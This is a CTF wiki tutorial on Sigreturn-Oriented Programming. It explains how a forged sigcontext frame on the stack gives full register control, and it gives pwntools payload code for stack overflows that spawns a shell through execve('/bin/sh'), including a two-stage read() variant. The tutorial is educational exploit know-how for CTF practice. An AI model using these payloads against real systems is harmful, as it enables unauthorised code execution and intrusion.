Athena Wiki

SROP - Sigreturn-Oriented Programming

pwnadvanced

Use sigreturn to set arbitrary register values with minimal ROP gadgets in CTF pwn challenges.

pwnsropsigreturnropregistersframesyscall

SROP - Sigreturn-Oriented Programming

Sometimes you have a stack overflow but the binary is tiny and has almost no ROP gadgets. No pop rdi; ret, no pop rsi; ret, nothing useful. SROP solves this by using the sigreturn syscall — which sets every CPU register at once from data on the stack. You only need two gadgets: syscall; ret and a way to set rax = 15.


How Sigreturn Works

When Linux delivers a signal (like SIGSEGV), the kernel pushes a sigcontext frame onto the stack. This frame contains the saved values of every register — RIP, RSP, RDI, RSI, RAX, everything. When the signal handler returns, it calls sigreturn (syscall 15), which pops that frame and restores all registers.

The trick: if you place a fake sigcontext frame on the stack and trigger sigreturn, the kernel restores your crafted values into every register. One syscall, full register control.

Fake sigcontext on stack:
┌─────────────────────┐
│  rax = 59           │  (execve)
│  rdi = &"/bin/sh"   │  (filename)
│  rsi = 0            │  (argv = NULL)
│  rdx = 0            │  (envp = NULL)
│  rip = syscall;ret  │  (what to do after restore)
│  ... all registers  │
└─────────────────────┘

Trigger sigreturn → kernel loads all these into registers
→ jumps to rip → syscall → execve("/bin/sh")

Requirements

  • syscall; ret gadget (or syscall + ret separately)
  • A way to set rax = 15 (sigreturn syscall number): pop rax; ret, mov rax, 15; ret, or a function that returns 15

You don't need any other gadgets. That's the whole point.


pwntools SigreturnFrame

pwntools handles the sigcontext layout for you:

from pwn import *

context.arch = 'amd64'
context.os   = 'linux'

# Find your two gadgets
syscall_ret = 0x401234   # syscall; ret
pop_rax_ret = 0x401200   # pop rax; ret

# Build the fake frame
frame = SigreturnFrame()
frame.rax = 59            # execve syscall number
frame.rdi = 0x602000      # pointer to "/bin/sh"
frame.rsi = 0             # argv = NULL
frame.rdx = 0             # envp = NULL
frame.rip = syscall_ret   # after sigreturn restores registers, jump here
frame.rsp = 0x602100      # optional: set new stack pointer

# Build payload
offset = 72
payload  = b'A' * offset
payload += p64(pop_rax_ret)    # set rax = 15
payload += p64(15)
payload += p64(syscall_ret)    # trigger sigreturn
payload += bytes(frame)        # fake sigcontext frame

After sigreturn executes, the kernel loads all the values from frame into the CPU registers, then jumps to frame.rip — which is syscall; ret. Since frame.rax = 59 (execve), the syscall instruction calls execve("/bin/sh", NULL, NULL).


Writing "/bin/sh" to Memory

SROP can set rdi to any address, but you need "/bin/sh" to actually exist at that address. If it's not already in the binary or libc (check with ROPgadget --binary ./vuln --string "/bin/sh"), use a two-stage approach:

Stage 1: Use SROP to call read() and write "/bin/sh" to a known writable address:

binsh_addr = 0x602000   # writable .bss address

# Frame 1: read(0, binsh_addr, 8) — read "/bin/sh" from stdin
frame_read = SigreturnFrame()
frame_read.rax = 0            # read syscall
frame_read.rdi = 0            # stdin
frame_read.rsi = binsh_addr   # write here
frame_read.rdx = 8            # 8 bytes
frame_read.rip = syscall_ret

payload  = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)
payload += p64(syscall_ret)
payload += bytes(frame_read)

p.sendline(payload)
p.send(b'/bin/sh\x00')   # stage 2: read() writes this to binsh_addr

Stage 2: Build the execve frame using binsh_addr as the filename.


When to Use SROP

ScenarioTechnique
Normal gadgets availableStandard ROP (pop rdi, etc.)
No pop rdx/pop rsiret2csu (see ret2libc)
Very few gadgets (only syscall; ret)SROP
Tiny binary, no gadgets at allSROP (you just need syscall; ret)

SROP is the best technique when the binary is very small (e.g., a 200-byte custom binary) and has almost no gadgets. Only syscall; ret is strictly required.


Minimal SROP Example

If your buffer is very limited (just enough for the frame), use a compact way to set rax = 15:

# Instead of pop_rax_ret (8 bytes), find:
#   mov al, 15; ret  (3 bytes — much smaller)
#   xor rax, rax; mov al, 15; ret  (if zeroing first)

mov_al_15 = 0x401235   # find with ROPgadget

payload  = b'A' * offset
payload += p64(mov_al_15)      # rax = 15
payload += p64(syscall_ret)    # sigreturn
payload += bytes(frame)        # fake frame

Checklist

  • Limited gadgets? → SROP is often simpler than building a full ROP chain
  • Find: syscall; ret gadget
  • Find: way to set rax = 15 (pop rax; ret, mov rax, 15; ret, mov al, 15; ret)
  • Build SigreturnFrame() with desired register values
  • Set frame.rip to syscall; ret — this is what executes after registers are restored
  • Is "/bin/sh" already in memory? If not, use a read() frame first to write it
  • pwntools SigreturnFrame handles all the layout automatically

Last updated on

On this page